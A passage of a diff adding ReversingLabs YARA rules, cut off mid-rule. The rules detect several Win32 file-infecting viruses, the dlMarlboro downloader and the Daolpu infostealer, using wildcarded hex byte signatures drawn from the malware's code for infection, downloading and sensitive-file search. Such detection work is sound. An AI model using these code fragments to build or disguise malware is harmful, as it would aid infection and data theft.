+            45 F0 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 F8 E8 D3 02 00 00 8B 75 F0 6A 02 6A 00 6A 00 FF 75 FC E8 CE 02 00 00
+            6A 00 8D 45 F0 50 56 8D 85 ?? ?? ?? ?? 50 FF 75 FC E8 BE 02 00 00 FF 75 FC E8 62 02 00 00 FF 75 F8 E8 5A 02 00 00 59 C9
+            C2 04 00 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 00 01 00 00 FF B5 ?? ?? ?? ?? 6A 00
+            FF 95 ?? ?? ?? ?? 6A 00 6A 20 6A 03 6A 00 6A 01 68 00 00 00 80 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A
+            00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A 00 FF B5 ?? ?? ??
+            ?? FF 95 ?? ?? ?? ?? 2D ?? ?? ?? ?? 6A 00 6A 00 50 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 68 00
+            01 00 00 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 83 FB 00 74 1E 8D 85 ?? ?? ?? ?? 6A 00
+            50 53 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? EB B7 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ??
+            FF 95 ?? ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 50 C3
+        }
+		$negt_infector = {
+            E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 00 01 00 00 FF B5 ?? ?? ?? ?? 6A 00 FF 95 ??
+            ?? ?? ?? 6A 00 6A 20 6A 03 6A 00 6A 01 68 00 00 00 80 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A 00 6A 20
+            6A 02 6A 00 6A 03 68 00 00 00 C0 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A 00 FF B5 ?? ?? ?? ?? FF 95
+            ?? ?? ?? ?? 2D ?? ?? ?? ?? 6A 00 6A 00 50 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 68 00 01 00 00
+            FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 83 FB 00 74 1E 8D 85 ?? ?? ?? ?? 6A 00 50 53 FF
+            B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? EB B7 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ??
+            ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 50 C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and (($negt_infector at pe.entry_point) or (($negt_body_and_infector_1 at pe.entry_point) and $negt_body_and_infector_2 and $negt_body_and_infector_3 and $negt_body_and_infector_4))
+}
+import "pe"
+
+rule REVERSINGLABS_Win32_Virus_Mocket : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Mocket virus."
+		author = "ReversingLabs"
+		id = "878c2162-9a79-52e6-af7b-95f9667f9e78"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/virus/Win32.Virus.Mocket.yara#L3-L58"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "af16974396efe7a1a46aa39b812482dcc49d0fe95db6640c1703db479e7ea9dc"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Virus"
+		tc_detection_name = "Mocket"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$mocket_body_1 = {
+            E8 00 00 00 00 5B 81 EB ?? ?? ?? ?? 8B 34 24 81 E6 00 00 FF FF E8 31 00 00 00 89 83 ?? ?? ?? ?? E8 4C 00 00 00 89 83 ??
+            ?? ?? ?? E8 A2 00 00 00 E8 CD 00 00 00 E8 05 01 00 00 87 CB E3 0C B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? FF E0 C3 66 81 3E 4D 5A
+            75 0E 8B 7E 3C 03 FE 66 81 3F 50 45 75 02 96 C3 81 EE 00 00 01 00 81 FE 00 00 00 70 73 DD 33 C0 C3 8B 70 3C 03 F0 8B 76
+            78 03 F0 56 8B 76 20 03 F0 8B C6 33 D2 33 C9 8A 8B ?? ?? ?? ?? 8D BB ?? ?? ?? ?? 8B 34 02 03 B3 ?? ?? ?? ?? 83 C2 04 F3
+            A6 75 E2 5E 8B C6 83 EA 04 D1 EA 8B 40 24 03 83 ?? ?? ?? ?? 33 C9 66 8B 0C 02 8B C6 8B 40 1C 03 83 ?? ?? ?? ?? C1 E1 02
+            8B 04 01 03 83 ?? ?? ?? ?? C3 8D BB ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 57 8B 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 89 06
+            83 C6 04 B9 FF FF FF FF 32 C0 F2 AE 80 3F 90 75 DD C3 8D BB ?? ?? ?? ?? 57 68 80 00 00 00 8B 83 ?? ?? ?? ?? FF D0 81 C7
+            80 00 00 00 57 68 80 00 00 00 8B 83 ?? ?? ?? ?? FF D0 81 C7 80 00 00 00 57 68 80 00 00 00 8B 83 ?? ?? ?? ?? FF D0 C3 33
+            C9 B1 03 8D BB ?? ?? ?? ?? 57 8B 83 ?? ?? ?? ?? FF D0 E8 01 00 00 00 C3 C7 83 ?? ?? ?? ?? 00 00 00 00 8D 83 ?? ?? ?? ??
+        }
+		$mocket_body_2 = {
+            50 8D 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 40 0B C0 74 53 48 89 83 ?? ?? ?? ?? E8 48 00 00 00 FE 83 ?? ?? ?? ?? 80
+            BB ?? ?? ?? ?? 0A 74 29 8D BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 32 C0 F3 AA 8D 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? 50 8B 83 ??
+            ?? ?? ?? FF D0 0B C0 75 C3 8B 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 C3 60 8D B3 ?? ?? ?? ?? 56 8B 83 ?? ?? ?? ?? FF
+            D0 89 83 ?? ?? ?? ?? 68 80 00 00 00 56 8B 83 ?? ?? ?? ?? FF D0 E8 B7 01 00 00 40 0B C0 0F 84 75 01 00 00 48 89 83 ?? ??
+            ?? ?? 8B 8B ?? ?? ?? ?? E8 B4 01 00 00 0B C0 0F 84 4D 01 00 00 89 83 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? E8 B4 01 00 00 0B C0
+            0F 84 26 01 00 00 89 83 ?? ?? ?? ?? 8B 70 3C 03 F0 66 81 3E 50 45 0F 85 F7 00 00 00 81 7E 4C 4B 43 4F 4D 0F 84 EA 00 00
+            00 8B 4E 3C 51 8B 46 28 89 83 ?? ?? ?? ?? 8B 46 34 89 83 ?? ?? ?? ?? FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ??
+            ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 59 8B 83 ?? ?? ?? ?? 05 ?? ?? ?? ?? E8 5C 01 00 00 89 83 ?? ?? ?? ?? 91 E8 21 01 00 00
+            40 0B C0 0F 84 B9 00 00 00 48 89 83 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? E8 1F 01 00 00 0B C0 0F 84 91 00 00 00 89 83 ?? ?? ??
+        }
+		$mocket_body_3 = {
+            ?? 8B 70 3C 03 F0 8B FE 83 C6 78 8B 57 74 C1 E2 03 03 F2 0F B7 47 06 48 6B C0 28 03 F0 8B 56 10 8B CA 03 56 14 52 8B C1
+            03 46 0C 89 47 28 8B 46 10 05 ?? ?? ?? ?? 8B 4F 3C E8 EA 00 00 00 89 46 10 89 46 08 8B 46 10 03 46 0C 89 47 50 81 4E 24
+            20 00 00 A0 C7 47 4C 4B 43 4F 4D 8D B3 ?? ?? ?? ?? 5A 87 FA 03 BB ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A4 EB 0B 8B 8B ?? ?? ??
+            ?? E8 41 00 00 00 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ??
+            8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 61 C3 33 C0 50 50 51 FF B3 ?? ??
+            ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 C3 33 C0 50 50 6A 03 50 6A 01 68 00 00 00 C0 56
+            8B 83 ?? ?? ?? ?? FF D0 C3 6A 00 51 6A 00 6A 04 6A 00 8B 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 C3 51 6A 00 6A 00 6A
+            02 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 C3 33 D2 F7 F1 0B D2 74 01 40 F7 E1 C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($mocket_body_1 at pe.entry_point) and $mocket_body_2 and $mocket_body_3
+}
+import "pe"
+
+rule REVERSINGLABS_Win32_Virus_Awfull : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Awfull virus."
+		author = "ReversingLabs"
+		id = "34104923-b401-5d39-883b-aa9a5a8e64f3"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/virus/Win32.Virus.Awfull.yara#L3-L33"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "84a4faee4cbbb3387ad25bd9230c6482b8db461bc008312bc782f23e3df2eae3"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Virus"
+		tc_detection_name = "Awfull"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$awfull_body = {
+              60 E8 ?? 00 00 00 8B 64 24 08 EB ?? [0-256]
+              33 D2 64 FF 32 64 89 22 33 C0 C7 00 00 00 00 00 33 D2 64 8F 02
+              5A 64 (8B 0D | 67 8B 0E ) 14 00 [0-2] E3 03 FA
+              EB FD 61 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 0B ED 74 ??
+              [0-128] (BE | 8B 35) ?? ?? ?? ?? 03 F5 B9 ?? ?? ?? ??
+              56 5F AC F6 D0 AA 49 E3 02 EB F7
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($awfull_body at pe.entry_point)
+}
+import "pe"
+
+rule REVERSINGLABS_Win32_Virus_Elerad : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Elerad virus."
+		author = "ReversingLabs"
+		id = "0307a136-ea2c-584c-bfda-f41e2c46fd09"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/virus/Win32.Virus.Elerad.yara#L3-L33"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "930594bf99daf55ef02542ce7b393c1c23ead75946b3da3b555102a2e7142e33"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Virus"
+		tc_detection_name = "Elerad"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$elerad_body = {
+            EB 77 60 E8 09 00 00 00 8B 64 24 08 E9 DD 01 00 00 33 D2 64 FF 32 64 89 22 50 8B D8 B9 FF 00 00 00 81 38 2E 65 78 65 74
+            08 40 E2 F5 E9 BD 01 00 00 32 D2 38 50 04 0F 85 B2 01 00 00 33 D2 80 38 5C 74 07 3B C3 74 07 48 E2 F4 88 10 8B D0 58 BE
+            00 00 E6 77 BF 23 C1 AB 00 EB 3E 60 E8 09 00 00 00 8B 64 24 08 E9 84 01 00 00 33 D2 64 FF 32 64 89 22 BE 00 00 E6 77 EB
+            20 68 ?? ?? ?? ?? 60 8B 74 24 24 E8 09 00 00 00 8B 64 24 08 E9 5D 01 00 00 33 D2 64 FF 32 64 89 22 E8 00 00 00 00 5D 81
+            ED ?? ?? ?? ?? 81 FF 23 C1 AB 00 75 0C 89 95 22 12 40 00 89 85 1E 12 40 00 BA ?? ?? ?? ?? B9 09 02 00 00 8D 85 D0 10 40
+            00 31 10 83 C0 04 E2 F9
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($elerad_body at pe.entry_point)
+}
 rule REVERSINGLABS_Win32_PUA_Domaiq : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
@@ -57,8 +528,8 @@ rule REVERSINGLABS_Win32_PUA_Domaiq : TC_DETECTION MALICIOUS MALWARE FILE
 		date = "2020-07-28"
 		modified = "2020-07-28"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/pua/Win32.PUA.Domaiq.yara#L1-L169"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/pua/Win32.PUA.Domaiq.yara#L1-L169"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e291a639aa027a2257eec2853e40a222afabf23b32898326a1d5b48be823202c"
 		score = 75
 		quality = 90
@@ -192,6 +663,470 @@ rule REVERSINGLABS_Win32_PUA_Domaiq : TC_DETECTION MALICIOUS MALWARE FILE
 	condition:
 		uint16(0)==0x5A4D and $payload and ($NSIS_CheckIntegrity or ($UPX_Decompression and $UPX_Encrypting) or $NSIS_ErrorPart or $dumping_functionv2014 or $dumping_functionMidVersion or ($exception1 and $exception2 and $exceptionallock) or $dumping_functionP or $dumping_functionE or $dumping_functionB or $dumping_function111 or $dumping_function2 or $lib_loader)
 }
+rule REVERSINGLABS_Win32_Downloader_Dlmarlboro : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects dlMarlboro downloader."
+		author = "ReversingLabs"
+		id = "4c99b5a4-dc6b-579b-b1bd-bd4c93c6e68c"
+		date = "2020-07-23"
+		modified = "2020-07-23"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/downloader/Win32.Downloader.dlMarlboro.yara#L1-L79"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "465a3b3a9686889001ac0b929d0349e44b6015eaeed3386361366def5013164a"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Downloader"
+		tc_detection_name = "dlMarlboro"
+		tc_detection_factor = 3
+		importance = 25
+
+	strings:
+		$ping_apnic = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 0F 57
+            C0 F3 0F 7F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D
+            85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
+            8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF
+            B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$download_bin_1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 65 ?? 8B F2 8B C1 89 85 ??
+            ?? ?? ?? 8B 7D ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ??
+            ?? ?? 83 EC ?? 8B CC 6A ?? 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 56 C6 01
+            ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ??
+            E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84
+            05 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF 50 ?? 8D 4D ?? 51 8B
+            C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B D7 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8
+            ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55
+            ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? C6
+            45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84 05 ?? ??
+            ?? ?? ?? 74 ?? 83 EC ?? 8D 45 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ??
+            ?? 8B C8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? B3 ?? EB ?? 32 DB
+        }
+		$download_bin_2 = {
+            C7 45 ?? ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ??
+            ?? ?? 83 C4 ?? 84 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 8D 80 ?? ?? ?? ?? 89
+            85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03
+            C8 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83
+            C4 ?? 8B 8D ?? ?? ?? ?? 8B F0 85 C9 74 ?? 8B 01 FF 50 ?? 85 C0 74 ?? 8B 10 8B C8 6A
+            ?? FF 12 8B 06 8B CE 6A ?? 8B 40 ?? FF D0 50 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 5D ?? 83 C4 ?? 8B 7D ?? 8B 08 8B 49 ?? F6 44 01 ?? ?? 75 ?? 8B 75 ?? 8D 4D ??
+            83 FB ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 0F 43 CF 3B F0 0F 42 C6 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 85 C0 75 ?? 83 FE ?? 73 ?? 83 C8 ?? EB ?? 33 C0 83 FE ?? 0F 95 C0 85 C0 0F 94
+            C0 84 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50
+            E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ??
+            ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ??
+            ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 FB ?? 72 ?? 57 E8 ?? ?? ?? ?? 83 C4
+            ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 EB ?? 8B 8D ?? ?? ??
+            ?? 8B 01 FF 50 ?? 8B 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? C3 8B 85 ?? ??
+            ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5
+            5D C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and $ping_apnic and $download_bin_1 and $download_bin_2
+}
+rule REVERSINGLABS_Win64_Infostealer_Daolpu : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Daolpu infostealer."
+		author = "ReversingLabs"
+		id = "bf815556-6ccf-506a-b858-5f4c18282c05"
+		date = "2024-08-26"
+		modified = "2024-08-26"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/infostealer/Win64.Infostealer.Daolpu.yara#L1-L322"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "5ffd0427c6c8e666cfabc48426e7771595a7024548706f37a1de3538e4e2d559"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Infostealer"
+		tc_detection_name = "Daolpu"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$network_communication = {
+            48 89 5C 24 ?? 48 89 6C 24 ?? 48 89 7C 24 ?? 41 56 48 83 EC ?? 48 8B D9 49 8B E8 B9
+            ?? ?? ?? ?? 4C 8B F2 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ??
+            ?? 4C 8D 05 ?? ?? ?? ?? 48 89 74 24 ?? BA ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 83
+            7B ?? ?? 4C 8D 43 ?? 76 ?? 4D 8B 00 BA ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? BA ?? ??
+            ?? ?? 48 8B CF 44 8D 42 ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B
+            CF E8 ?? ?? ?? ?? 45 33 C0 BA ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 48 8B CF E8 ?? ??
+            ?? ?? 48 8B C8 48 8B F0 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 48 8B D8 E8 ??
+            ?? ?? ?? 49 83 7E ?? ?? 49 8D 56 ?? 76 ?? 48 8B 12 48 8B CB E8 ?? ?? ?? ?? 48 8B CE
+            E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 48 8B D8 E8 ?? ?? ?? ?? 48 83 7D ?? ??
+            48 8D 55 ?? 76 ?? 48 8B 12 49 C7 C0 ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B CE E8
+            ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 48 8B D8 E8 ?? ?? ?? ?? 49 C7 C0 ?? ?? ??
+            ?? 48 8D 15 ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 4C 8B C6 BA ?? ?? ?? ?? 48 8B CF E8
+            ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 8B E8 85 C0 75 ?? 48 8D 1D ?? ?? ?? ?? 48 8D 05
+            ?? ?? ?? ?? EB ?? 48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CD 48
+            8B D8 E8 ?? ?? ?? ?? 48 8B D0 48 8B CB E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B
+            CE E8 ?? ?? ?? ?? 48 8B 74 24 ?? 48 8B CF E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 5C 24
+            ?? 33 C0 48 8B 6C 24 ?? 48 8B 7C 24 ?? 48 83 C4 ?? 41 5E C3
+        }
+		$find_sensitive_files_p1 = {
+            48 89 5C 24 ?? 55 56 57 41 54 41 55 41 56 41 57 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ??
+            ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 4C 8B F2 48 8B F9 45 33
+            E4 4C 89 65 ?? 0F 57 C0 0F 11 45 ?? 0F 57 C9 F3 0F 7F 4D ?? 49 C7 C0 ?? ?? ?? ?? 49
+            FF C0 66 46 39 24 41 75 ?? 48 8B D7 48 8D 4D ?? E8 ?? ?? ?? ?? 90 41 B8 ?? ?? ?? ??
+            48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 8D 4D ?? 48 83 7D ?? ?? 48 0F 47
